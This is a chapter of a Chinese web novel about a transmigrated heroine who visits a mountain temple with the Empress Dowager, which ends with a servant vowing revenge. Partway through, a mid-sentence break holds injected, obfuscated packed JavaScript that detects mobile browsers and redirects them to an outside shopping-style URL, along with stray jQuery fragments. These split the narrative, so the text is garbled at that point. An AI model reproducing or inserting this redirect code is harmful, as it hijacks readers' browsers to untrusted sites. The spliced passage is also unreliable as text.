13. 第 13 章

作品:《反派的早死原配

    陆书窈和萧凛出了将军府的门,她就将小瓷瓶顺手扔到了一旁。


    瓷瓶撞到将军府的院墙,瓷瓶碎成几片,然后悉数掉落在灌木丛里。


    “扔的是什么?”萧凛耳力极佳,听到了瓷瓶碎裂的声音,问道。


    “没什么,是垃圾。”


    陆书窈抬起头看了看将军府的院墙,午后的阳光刺眼,她禁不住眯了眯眼。


    直至今日,她才真正看清原主昔日身陷的境地,竟是那般暗无天日的绝望。


    既然她已然接下原主余下的人生,便定会替她讨回所有公道,那些曾欺辱她、算计她,最终将她推入死地的人,她一个也不会放过,定要让其血债血偿。


    而陆定安这个凉薄自私、罔顾父女情分的渣爹,自然要排在最前头。


    但她眼下毫无权势傍身,能依仗的唯有身边的萧凛。


    所以今后她既要阻止他踏上原书里那条身死名裂的反派绝路,更要助他一步步积攒势力,然后为自己所用。


    **


    这日是与太后约好礼佛的日子,太后宫中的总管一早便领着人,专程到平王府来接陆书窈。


    萧凛原本想让橘绿和谢宁一起跟着,却只听得须发花白的总管捏着兰花指说道:“太后跟前,什么得力的宫女侍卫没有?王爷不必多费心。”


    话音里裹着几分轻慢不屑,深宫之中本就是人踩人的地界,萧凛素来不得圣宠,连带着底下这些奴才,也敢在他面前这般没个好声气。


    萧凛对此早已习以为常。


    他虽然面上答应了下来,但待陆书窈被接走后,还是嘱咐谢宁跟上去,但要稍微避着一些太后身边的侍卫。


    陆书窈登了太后的马车,掀帘入内的刹那,就被车内极尽奢华的内饰晃了眼。丝绸刺绣的帐子用珠玉点缀成流苏,处处透着尊荣华贵。


    太后端坐马车之中,闭目凝神静养,身侧焚着一炉上好熏香,烟气袅袅,似有安神之效。


    见陆书窈登车落座,太后缓缓睁开眼,抬手轻拍身侧空位,示意她挨着自己坐下。


    此次礼佛,要去的是城外南山上的永庆寺,那是座立世千年的古刹。往年太后皆是孤身一人上山,焚香念经,清静礼佛。陆书窈听总管说,此番带旁人同去还是头一次。


    马车一路颠簸,走了许久,摇得人昏沉欲睡。她强撑了半晌,终究抵不过倦意,正陷在半梦半醒间,忽觉有人轻轻晃着她的胳膊。


    “走了。”太后笑眯眯地对她说道。


    陆书窈打了个激灵,快步跟着下了马车。


    外头天色已然沉了下来,暮色四合。陆书窈抬眼望去,才发觉自己身处永庆寺后方的一座清幽别苑,遥遥望去,还能瞧见寺中两座佛塔的朦胧轮廓。


    寺中数位身着袈裟的高僧早已在此等候迎驾,躬身禀道:“住持方丈此刻正在闭关静修,未能亲来迎候太后,还望太后恕罪。”


    太后闻言神色如常,许是根本不介意迎候的事,领着陆书窈便进了别苑。


    苑中花木扶疏,叠石清幽,处处透着雅致精巧的意趣,只可惜天色已晚,她来不及细细观瞧。


    有几名洒扫的俗家弟子,俱是十三四岁的少年模样。见太后与陆书窈一行人走来,慌忙齐齐跪地行礼,一个个战战兢兢,头埋得极低,连大气都不敢喘,生怕稍有不慎便冲撞了贵人。


    方才竟在太后面前盹着了,陆书窈心头至今还悬着几分紧张,一路亦步亦趋跟在太后身后,半点不敢逾矩,唯恐自己一时失仪,惹出什么祸端来。


    太后瞧着似对她颇有几分好感,可皇家心性最是难测,半点由不得人揣摩,还是收敛一些为好。


    岂料太后只淡淡吩咐她早些歇息,待次日一早,再随她一同入寺进香。


    也不知是易地难安,还是心底悬着几分说不清的紧张,陆书窈一夜辗转难眠,尽是半梦半醒的混沌,好不容易才挨到天蒙蒙亮来了睡意,也该起床了。


    从别苑往寺内去,要走一段青石山道。虽是依山而建,路面却被修葺得平整宽阔,走起来稳当得很。


    陆书窈贴身搀扶着太后慢行,只觉眼眶阵阵发酸,倦意难掩,不由得打了几个哈欠。


    太后瞧着一副精神不错的样子,见陆书窈眼下发青,打趣着说道:“没休息好吗?难不成是离了小九之后便心里记挂?”


    “回太后,许是昨夜院中的蝉鸣聒噪,儿臣本就眠浅,便一夜没睡安稳。”


    “吩咐下去,把院中的蝉都抓个干净。”太后扭头向身后的宫女吩咐道,然后转过头,压低了声音说道:“哀家听闻过你是替嫡姐嫁过来的,在这之前可有意中人?”


    陆书窈脑子里飞速想了一圈所有的可能,也想不出太后问这话有何用意。


    回答没有的话,很难保太后是否听过那些自己和江玉棠的风言风语。回答有的话,又感觉哪里不对劲。


    思忖片刻,她垂眸回禀:“谈不上什么意中人,不过是昔日闺中姊妹玩笑嬉闹的闲话罢了,当不得真。”


    “小九这孩子,虽未在哀家跟前长大,脾性却素来乖戾古怪,自小便与他那几位兄长合不来。如今他眼疾缠身,性子怕是更甚从前。”太后摇了摇头说道:“想来你在王府的日子,定是万般不易。好好一个姑娘家,嫁入这样的境地,实在难说,究竟算不算寻到了好归宿。”


    陆书窈不敢应声。


    这是亲奶奶说自己亲孙子的坏话,自己还是少说两句为妙。


    人家才是一家人,自己说多只会错多。


    太后突然停下了脚步,看向陆书窈:“你若是不愿意的话,可以和小九和离,哀家到时候封你个乡君做做,尽可以留在都城。有哀家这话在,旁人也绝不敢多置一词。”


    陆书窈愣住,半晌才想起摇了摇头。


    太后说这话时,神色端肃凝重,半点玩笑意味也无,反倒让她觉得不知所措。


    “儿臣与王爷感情甚好,绝无和离的念头。”陆书窈回道。


    若真能如太后所言,得个乡君封号,往后的日子定然安稳富贵、不必忧心。可她现在心里装着更要紧的事,如果此时抽身离去,那原主的仇就再也没人给她报了。


    太后见状,摆了摆手,轻叹一声:“罢了罢了,想来你与小九,终究是有情分在的。不然,也不会费心费力在寿宴上为哀家备下那般好的寿礼。”


    二人随后又闲话了几句家常,不多时便行至专为太后祈福所设的佛堂。


    这佛堂并不与香客祈福的大殿相通,乃是寺里特地辟出、专供贵眷礼佛之处。里头只点着几炉淡淡的檀香,四下静悄悄的,比外头的大殿要清静得多。


    陆书窈学着太后的模样,一同跪在正中的蒲团上,双手合十,闭着眼佯装诚心祈福。


    她并不信


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938800|192791||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么神佛,但是此次跟来礼佛还是要做做样子,世人皆知太后一心向佛,自己总不能在她面前扫了兴。


    没一会儿,她就浑身酸沉难耐,膝盖更是麻得没了知觉。


    她撑着几分倦意微微睁眼,想瞧瞧太后竟是如何能跪这么久,却见方才太后落座的蒲团早已空空荡荡。


    转头再望,才瞧见太后正安坐在佛堂一隅的小香案旁,悠然品着清茶、拈着点心,神色闲适得很。


    见她睁开眼睛,太后笑眯眯地向她招了招手,示意她过来一起。


    陆书窈揉着发麻的膝盖勉强起身,慢吞吞挪到香案旁的矮凳边,一屁股重重坐下,麻木的双腿酸软无力,几乎都不听使唤了。


    太后压低声音说道:“哀家当你还能坚持一个时辰呢,没想到这么快就坚持不住了。”


    “太后这是……?”陆书窈彻底懵了。


    “来礼佛不过是装装样子罢了。宫里的日子实在憋闷得慌,每年也只借着礼佛的由头,来这山里小住几日,透透气。”


    “所以……我们是来透气的?”陆书窈睁大眼睛,难以置信太后居然这么直接地说了出来:“太后您不是最信佛了吗?”


    太后随手将盘中一块点心塞到她手里,慢悠悠开口,语气带着几分随性:


    “哀家也是头一遭做太后,总得学着装得像模像样些。听闻前朝太后素来爱进山礼佛,哀家便也来试试,一开始也觉得无聊烦闷,后来听说前朝太后曾经修建了别苑,便亲自去看了看——”


    说到这里,太后略有些皱纹的脸上面上漾开一抹狡黠的笑意。


    “虽然哀家从未见过前朝太后,但进了别苑只一眼便觉得与她简直是神交已久,苑内无论是一草一木还是陈设摆件,都是贴心至极,还有一处天然温泉……在此处住上些时日,只觉得把宫中沾染的霉气都祛了。”


    说着,太后喝了一口茶:“至于神佛一说,前朝太后不是天天吃斋念佛,但江山还不是改换了大晋?哀家瞧着,这些玩意儿压根没半点用处。”


    陆书窈听太后这般言语,觉得太后还真是个妙人。


    “只可惜宫里那群装腔作势的人,没福气陪哀家享这份自在。”太后故作惋惜地轻叹一声,随即目光落向陆书窈,笑意里添了几分真切的欣赏:


    “可你不一样。哀家听闻你在茶楼怒惩负心汉,又瞧着你在寿宴时痛骂那对你百般欺凌的嫡姐弟,这般性子,倒颇有几分哀家年少时的风骨。”


    “太后谬赞了……”陆书窈尴尬地笑了笑。


    她万万没想到,太后自初见起便对她这般亲厚,究其缘由,竟是她那些旁人眼中荒唐不羁的举动,在太后眼里,反倒成了难能可贵的赤诚。


    “谈什么谬赞不谬赞,哀家看你倒是还拘着礼数。你便和小九一样喊哀家一声皇祖母如何?”


    “是,皇祖母。”


    陆书窈心知太后这般心意,自己再扭捏作态反倒落了矫情,索性痛痛快快应声喊了,惹得太后朗声大笑。


    佛堂内笑语融融,而殿外廊下,一名正在洒扫的俗家弟子正悄然捻破窗纸,目光死死隔着窗棂锁向里头的陆书窈。


    少年眉目清秀,面上却带着浓烈的怨愤,手掌将那柄佯装劳作打掩护的扫把攥得咯咯作响。


    “是你……就是你!”少年颤抖着手,呼吸都变得急促:“我一定要杀了你……报仇!”